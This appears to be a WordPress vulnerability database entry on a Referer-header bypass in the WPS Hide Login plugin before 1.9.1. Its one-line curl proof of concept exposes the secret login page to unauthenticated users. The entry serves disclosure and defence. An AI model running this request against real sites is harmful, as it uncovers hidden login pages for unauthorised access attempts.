WordPress Plugin Vulnerabilities
WPS Hide Login < 1.9.1 - Protection Bypass with Referer-Header
Description
The plugin has a bug which allows to get the secret login page by setting a random referer string and making a request to /wp-admin/options.php as an unauthenticated user.
Proof of Concept
curl --referer "something" -sIXGET https://example.com/wp-admin/options.php HTTP/2 302 ... location: https://example.com/secret-login/?redirect_to=%2Fwp-admin%2Fsomething&reauth=1
Affects Plugins
Fixed in 1.9.1 References
Classification
Type
INCORRECT AUTHORISATION
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Daniel Ruf, Thalakus
Submitter
Daniel Ruf
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-10-27 (about 2 years ago)
Added
2021-11-02 (about 2 years ago)
Last Updated
2022-04-13 (about 2 years ago)
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